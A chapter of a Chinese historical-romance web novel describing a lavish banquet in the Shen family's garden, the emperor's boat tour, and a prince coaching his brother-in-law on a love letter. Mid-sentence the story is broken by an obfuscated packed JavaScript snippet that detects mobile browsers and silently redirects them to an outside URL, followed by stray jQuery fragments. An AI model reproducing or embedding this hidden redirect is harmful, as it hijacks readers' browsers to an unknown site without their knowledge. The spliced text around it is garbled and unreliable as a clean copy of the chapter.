76.盛宴

作品:《青玉案

    夜色微凉,寒星点点。


    沈舍那居于父亲专门为她修建的客居小院曼陀罗仙馆。此馆金玉为饰,雕梁画栋,极尽奢靡。馆外遍植奇花异木,若在春日,必是姹紫嫣红,香雪成海。此刻正值深秋,霜染枫叶,如血如火,铺陈阶前,竟比繁花更添几分浓烈凄艳。


    沈舍那与玉媛对坐镜前,卸去钗环。玉媛轻声道:“时辰尚早,不若唤园中姑娘们来说说话,解解闷?”不待舍那应允,她已命侍女去请。


    沈家收养照顾的少女居住在杨夫人的园中,距离舍那居所没有多少路程。不多时,车和子、国娘、双双、三三、胜男、小迎并三个彩,几位妙龄少女便进屋,解下斗篷。清冷的长馆霎时笑语喧阗。舍那示意不必拘礼,少女们便自在嬉戏:或聚首玩双陆,或围坐抽花签,更有甚者已执壶小酌。


    “和子,莫贪杯!”国娘伸手欲夺酒壶,“醉了可没人背你回去!”


    和子护紧酒壶,巧笑嫣然:“国娘姐姐放心,不过清酒薄酿,醉不倒人!”


    玉媛莞尔:“国娘姑娘且宽心,以和子的酒量,饮尽此间佳酿,怕也步履如常。”


    和子谢过玉媛,饮至酣处,拉着三三笑道:“从前数你最爱与我拼酒,今日怎地矜持了?”


    三三颊飞红霞,低声道:“明年……便要出阁了,岂能再如儿时般疯癫胡闹?”


    “呀!”三个彩齐声惊呼——她们这群玩伴中,最先嫁人的竟是三三!


    杨三三前些时日由周夫人做主,许了一门称心的亲事。她眉眼含笑:“那阵子与双双姐姐一同相看,挑拣了好些人家,才定了这门。”又转向双双,“双双姐,你怎还未挑定?”


    双双若有所思。她知若应下婚事,便可如三三般风光出嫁,少女心思,焉能不慕?然一旦出阁,便似断与娘家的牵绊……思及此,她踌躇难决,只含糊道:“尚未寻得合意的。”


    三三打趣:“我可见好几家公子,都给双双姐递了情诗呢!偏我没这福分!”


    三个彩起哄:“什么情诗?快拿来瞧瞧!”


    少女们笑闹一团。和子却瞥见国娘眉间隐有愁绪。论年岁,国娘最长,又有青梅竹马的仆叙,本该最先出阁。和子心知,若国娘真嫁了仆叙,他此生便如笼中鸟,难脱沈家掌控。国娘可曾明白?她仍在痴等……


    和子不忍,起身道:“夜已深,该散了。”嬷嬷们提灯引路,将众女送回各自院落。


    车和子方躺下,元嬷嬷便来叮嘱:“姑娘,明日圣驾亲临!将军吩咐,各院姑娘皆需穿戴齐整。”


    “将军还说……准姑娘们往清园游玩。”


    翌日清晨。


    国娘、小迎、三三、双双、胜男并三个彩,无不盛装华服,明艳照人。唯车和子因在孝中,只着一身宫制素色蜀锦裙袍,银线暗绣云纹,素雅不失端方。


    众少女至清园,管事嬷嬷提醒:“将军允诸位入园游玩,然只限见山楼以东,近长园一侧。四王妃有言,若在清园倦了,亦可回园中歇息。唯开席前,务必至此聚合。”


    少女们领命,如彩蝶散入园中:斗草、撷花、嬉戏秋千。


    车和子踏上秋千板,素袖轻扬。众女中,数她胆气最豪。只见她足尖轻点,秋千如离弦之箭荡入半空!素色裙裾迎风翻飞,恍若流云,又似白练当空。


    梨花袅娜,淡扫蛾眉。素衣胜雪,翩若惊鸿。


    恰此一幕,落入泛舟游园的圣人韩淼眼中。他遥指秋千,笑问身侧摇橹的沈凯之:“凯之,你家姑娘皆穿红着绿,怎独那秋千上的丫头,一身素净?是你家堂亲,还是表亲?”他明知和子守孝,偏要故问。


    沈凯之手中橹桨未停,水面漾开涟漪:“正是那‘绿帽将军’的大女儿,母丧在身,守孝而已。”


    “倒是生得……玉骨冰肌。”韩淼眯眼细看那空中翻飞的素影,语带深意,“吴家的女公子未入此园,倒添了位不俗的车家姑娘……是留予你,还是……配给你家浩儿?”


    沈凯之唇角勾起,眼底掠过一丝鹰隼般的锐利与掌控:“浩儿那性子……降得住这般烈马?”


    韩淼心下了然——沈凯之对那车家姑娘,已是势在必得。他暗自叹息:“好端端一个丽人,终究难逃我这弟弟的掌心……”


    轻舟漾开粼粼波光,穿行于水榭楼台之间。韩淼饱览园景,沈凯之则稳稳掌舵。良久,沈凯之轻叹:“时日仓促,此园……仅成其半。”


    “半壁风光已如此夺目,若待全功告成,”韩淼环顾飞檐斗拱、金碧辉煌,目光掠过远处层叠的亭台,“岂非要将朕的皇城都比了下去?”这清园规制虽不及皇家禁苑,然其精巧奢华、移步换景,论及居住之适意,洛阳城中恐无园囿能出其右。


    “昔闻南陈围宫花园乃人间仙境,”韩淼忆起画中景象,“观此园气象,怕也逊色三分。”


    沈凯之曾亲历围宫胜景,此刻只淡然摇橹:“陛下谬赞。围宫乃天上琼苑,此处……不过凡尘俗舍罢了。”


    水波微澜,忽见数名舞姬于水畔翩然起舞,惊鸿之姿,飘逸若仙。


    “南人至宝,终是这如花美眷。”沈凯之唇角微扬,“围宫花园移不得,建康的佳人……我却能尽数携来。”


    转过莲池,数名歌姬倚栏清唱,吴侬软语,袅袅如烟。


    行至梅林,几位丽人斗草嬉戏,罗裙翻飞,笑语盈盈。


    竹径深处,更有佳人素手调琴,琴音淙淙,与风共吟。


    舟泊岸边,韩淼移驾九州合堂。盛宴已开,丝竹盈耳。


    甫一落座,便有两位绝色佳人执壶侍酒。舞袖翩跹,乐声悠扬。


    韩淼浅酌半盏,瞥见沈凯之左右各拥一位身着石榴红裙的宠妾,艳光四射。相较之下,自己身侧倒显冷清。


    沈凯之笑道:“陛下何不召宫中美人同乐?”


    韩淼打趣:“本欲携郑修仪前来,也好让慎儿见见小姨。可上回你那般‘款待’于她……”他语带揶揄,“朕怎好意思再叫她来?”


    沈凯之朗笑:“陛下未免太过怜香惜玉!”


    “若不善加怜惜,她们岂肯真心相随?”韩淼反问,“你自南国携来这些佳人,她们……可曾真心归顺?”


    “若非我收容,她们早已流落风尘,生死难料!”沈凯之抚掌轻笑。右侧的张夫人应声而起,领众舞姬献上一曲。


    “干了这杯!”隔壁雅间忽传来女子清脆的划拳笑闹声。


    沈凯之解释:“女眷众多,安置了些不打紧的在邻室。”


    韩淼眯眼笑道:“闻其声而不见其人,倒也别有一番意趣。”


    此言一出,众姬妾愈发恣意,嬉笑嗔怒之声此起彼伏,满堂生春。


    宴至酣处,一十三岁少女启唇清歌:


    晚妆初了明肌雪,春殿嫔娥鱼贯列。


    凤箫吹断水云间,重按霓裳歌遍彻。


    临春谁更飘香屑?醉拍阑干情味切。


    归时休放烛光红,待踏马蹄清夜月。(李煜《玉楼春》)


    继而,一群南朝歌姬齐声婉转:


    玉树□□前,瑶草妆镜边。


    去年花不老,今年月又圆。


    莫教偏,和月和花,天教长少年。(李煜《□□花》)


    韩淼击节而叹:“商女不知亡国恨,隔江犹唱后庭花!此曲……甚妙!”


    席间,太子韩林左拥右抱,与两位南朝公主高城、金乡调笑无忌。高城娇嗔:“殿下,容妾等去与姐妹们叙叙旧?”


    韩林追问:“可是要去见……玉媛公主?”


    二女颔首。


    韩林心头一热——他曾在宫宴上遥见玉媛,其风华绝代,令人魂牵梦萦。他压低声音:“好姐姐,设法引她至僻静处,容我远远瞧上一眼便好!”


    二女应下,然寻遍众公主,未见玉媛踪影。


    韩林妒火暗生:“好个老四!竟将美人藏得这般严实!”


    草丛忽地簌簌作响!


    韩林心头一紧,屏息凝神——是人?是鬼?


    一道素影自草丛闪出,如受惊小鹿般朝东北角疾奔而去!


    韩林怔立原地,怅然若失:“沈家……连个寻常侍女,竟也有此等颜色……”


    “幸好跑得快!”惊扰太子之人,正是车和子。她与众女嬉戏半日,心绪烦闷,独寻幽径发呆,不觉暮色四合。清园初至,路径不熟,竟至迷途。


    和子朝着长园方向疾行,忽被一泓池水阻住去路。朔风骤起,寒意侵衣。若涉水而过,明日定染风寒。


    “死生契阔,与子成说。执子之手,与子偕老。于嗟阔兮,不我活兮。于嗟洵兮,不我信兮。”(《诗经·邶风·击鼓》)


    陌生男子的吟诵声蓦然传来!和子一惊,闪身藏入树影。透过枝叶缝隙,窥见三人立于池畔——沈浩、张奉出,还有一人颇为眼熟!


    目光触及池水,和子恍然——那吟诗男子,竟是那日自称“何小魏”之人!沈浩正对他抱怨:“姐夫!让你替我写封情书,这般冗长,叫我如何记得住?”


    原是杨夫人命沈浩写情诗予瑞阳公主,沈浩胸无点墨,只得央求姐夫——四王韩柱代笔。


    和子忍俊不禁,好奇心起,悄然尾随三人而去。


    树影婆娑,夜色微凉。


    车和子藏身暗处,屏息窥视。只见韩柱剑眉微蹙,面露难色。


    韩柱心中暗叹:“一首《击鼓》罢了,浩儿竟也记不全?”他无奈道:“你只消记住‘执子之手,与子偕老’八字足矣。”


    “信笺上便写这八字。若瑞阳问起信中何言,你背不出……岂非难堪?”


    “执……执子之手……与……与……”沈浩磕磕绊绊,急得抓耳挠腮。


    韩柱苦笑:“不若……我替你写封情书,你誊抄花笺之上……”话未说完,他忽觉不妥——瑞阳聪慧,岂会识不破代笔?他尴尬改口:“浩儿,诚心写一封便好。切记……心意最重。”


    沈浩见姐夫袖手,愁眉紧锁。


    张奉出见状,语带戏谑:“阿浩莫不是……惧那高位女子?”他目光转向韩柱,意味深长,“昨日被王妃逐出府门,今日却不得不来赴宴……这般滋味,四殿下想必深有体会?”


    韩柱心头一怔,只当张奉出理解他夹在舍那与玉媛间的苦楚。他自诩风流,深谙女子心思,却看不透身边最亲近的两个女人——舍那冷若冰霜,玉媛心思难测。她们自成天地,倒将他视作外人。


    池畔二人,一为情书所困,一为情事所扰,相对长吁。


    韩柱强打精神宽慰:“浩儿莫忧,瑞阳姿容,冠绝诸公主。”


    沈浩却叹:“姐夫……我往日还笑你常被姐姐赶出家门……如今轮到我,怕也要过这提心吊胆的日子了!”


    张奉出冷眼旁观,嗤道:“娶得贵女,尚有何怨?世间男子所求,莫过于尚主封王,攀附权贵!公主下嫁武家,是为固江山;王侯联姻将门,是为壮羽翼!此乃天家权术,岂容尔等儿女情长?”


    “奉出,你方才说什么?”韩柱与沈浩心思烦乱,哪听得进这番冷语。


    韩柱忆及前尘,心绪翻涌。他因生母缘故,自幼饱受冷眼。能娶沈舍那,本是意外之喜,令他这无权无势的皇子一跃成朝中新贵。然这泼天富贵,反令他如履薄冰,唯恐重蹈母亲覆辙。


    新婚之初,他亦曾想做个好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370428|166573||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丈夫。魏王府中,无姬无妾,只求与舍那安稳度日。奈何他生性散漫,做不来舍那心中那等经天纬地的男儿。不过半载,夫妻便形同陌路。


    他索性放纵,在外流连花丛,以为能激起舍那醋意。未料她始终漠然,视若无睹。


    当初分派陈朝公主,守寡的淳静公主炙手可热,太子亦垂涎三尺。这般烫手山芋,竟落在他头上。


    韩柱本不在意,横竖不过府中多件摆设。然初见玉媛,他竟怦然心动。她年长他一岁,娇小玲珑,楚楚堪怜。他仿效戏文,将她藏于书斋,柔声叮咛:“莫去招惹王妃。”


    玉媛温顺应下。


    那时的玉媛,会撒娇嗔怒,贪杯憨笑,恰是他最爱的鲜活模样。


    她真是这般简单女子么?


    一日归府,书斋空寂。韩柱心惊肉跳,唯恐舍那加害。仆役来报,方知王妃循例赐了新院予何孺人。


    真相是玉媛主动向舍那请安。


    踏入新院,满目皆是舍那赏赐的珍玩,件件合乎礼制。玉媛见他,立时换上温婉笑靥,依偎入怀。


    韩柱心中却一片冰凉——玉媛并非他以为的单纯女子。更令他刺痛的是,在她眼中,自己这丈夫……竟无力护她周全!


    …………


    又一日,玉媛私赠财物与南陈的定平公主,惹怒二王妃。舍那震怒,将玉媛囚禁院中。


    韩柱欲救,却连踏入院门的勇气也无。反是玉媛那同父异母的幼弟,敢闯府求见。


    他终是袖手旁观。直至玉媛不知用了何法,重获舍那宽宥。自那日起,玉媛便长居舍那院中。


    那方庭院,成了韩柱不敢涉足的禁地。在这偌大的王府里,他……才是那个多余的外人。


    “和子——!”沈浩一声惊呼,打破了池畔的沉寂,也将韩柱纷乱的思绪骤然拉回。


    韩柱循声望去,只见沈浩正对着一位素衣少女呼喊。那少女亭亭玉立,月光下身影清冷,似曾相识,却又模糊难辨。


    车和子自树影后步出,心头忐忑。她最忧心的,便是韩柱认出那日借船之人。所幸韩柱目光掠过她,毫无波澜——想来他“英雄救美”的把戏演得太多,早已记不清那些萍水相逢的面孔。


    “我……我迷路了……”和子面带尴尬地回着。


    张奉出冷笑:“车大姑娘莫不是……想趁此良宵,金蝉脱壳?”


    沈浩闻言色变!


    和子无奈叹息:“若真要逃,搬家那日岂非更便?”


    “确是……迷途。”


    “我信这位姑娘。”韩柱见和子清丽脱俗,顿生好感,哪管真假。


    沈浩见姐夫目光黏在和子身上,忙扯他衣袖:“姐夫!你可是有家室的人!”


    韩柱苦笑:“我又没有做坏事……何至于此?”


    张奉出与和子齐齐投来鄙夷目光。张奉出语带讥讽:“四殿下,吃着碗里瞧着锅里的毛病,该改改了。”


    和子亦正色道:“四大王,舍那姐姐……其实很孤独,她需要的是真正懂她、能并肩同行的人。”


    两人不再多言,催促沈浩:“阿浩,再不去宴席,怕是要饿肚子了!”


    九州合堂内,灯火辉煌,宾客已至大半。见和子竟与韩柱同来,灵儿忙将她拉至席间,低语:“魏王……可曾轻薄于你?”


    和子莞尔:“动手动脚?谅他也不敢。至于眼睛……还不至于为此剜了那位大王的眼珠子。”她目光扫向韩柱,只见坐于席位的他正小心翼翼凑近舍那,欲言又止,既想亲近,又恐惹恼,姿态卑微。


    宴酣歌畅,直至三更方歇。宾客皆已精疲力竭,陆续散去。


    韩淼与沈凯之酒意正浓,勾肩搭背,互诉衷肠。


    “好哥哥!若无你鼎力相助,朕焉有今日之尊荣!”


    “好弟弟!若无你坐镇朝堂,哥哥我怎能横扫天下!”


    “好哥哥!”


    “好弟弟!”


    两人推杯换盏,醉语连连,竟对饮至东方既白。临别之际,沈凯之奉上一份厚礼单册。


    韩淼掂了掂那沉甸甸的礼单,笑道:“自南边掠来的珍宝……凯之,你可是赚得盆满钵满啊!”


    舍那待宾客散尽,父亲安歇,方回长园稍作休憩。韩柱默默尾随其后,忧心她步履踉跄,却见她脊背挺直,不见半分疲态。


    踏入内室,只见玉媛备了宵夜,伏在软榻上等候,终是抵不住困倦,和衣睡去。舍那凝视她恬静睡颜,眼中满是怜惜。玉媛体弱,竟为她守候整夜。舍那忙命侍女为她轻覆锦被,扶正睡姿,好让她安眠。自己则随意在隔壁小室歇下。


    “我若进去……才是真真多余。”韩柱苦笑,难得有自知之明。他未如往常般逃回府邸,只在园中寻了间空置的下房,和衣躺下。


    翌日,舍那并未驱赶韩柱,只淡然道:“园中屋舍,非请勿入。昨夜那间下房,收拾出来,便是你的居所。”韩柱心头一松:“舍那未逐我出门,已是进步。有片瓦遮头,足矣。”


    舍那在娘家小住半月,终须回府。临行前,杨夫人依依不舍:“这新修的园子空着也是可惜……得空便常回来住住。”


    舍那亦不舍母亲,叮嘱道:“半年前,见玉媛幼弟,年岁比浩儿还小些,却沉稳老成。我与韩柱瞧着喜欢,便送他入了国子监,那孩子欢喜得很。”


    “如今家中富贵,浩儿更不可荒废学业。不求功名显达,但求明理知事。”


    一番殷殷嘱托后,舍那携韩柱登车离去。


    杨夫人伫立门前,望着车驾消失在长街尽头。前些日子的喧闹欢喜,骤然抽离,心头空落落的,唯余秋风卷起阶前落叶,萧索盘旋。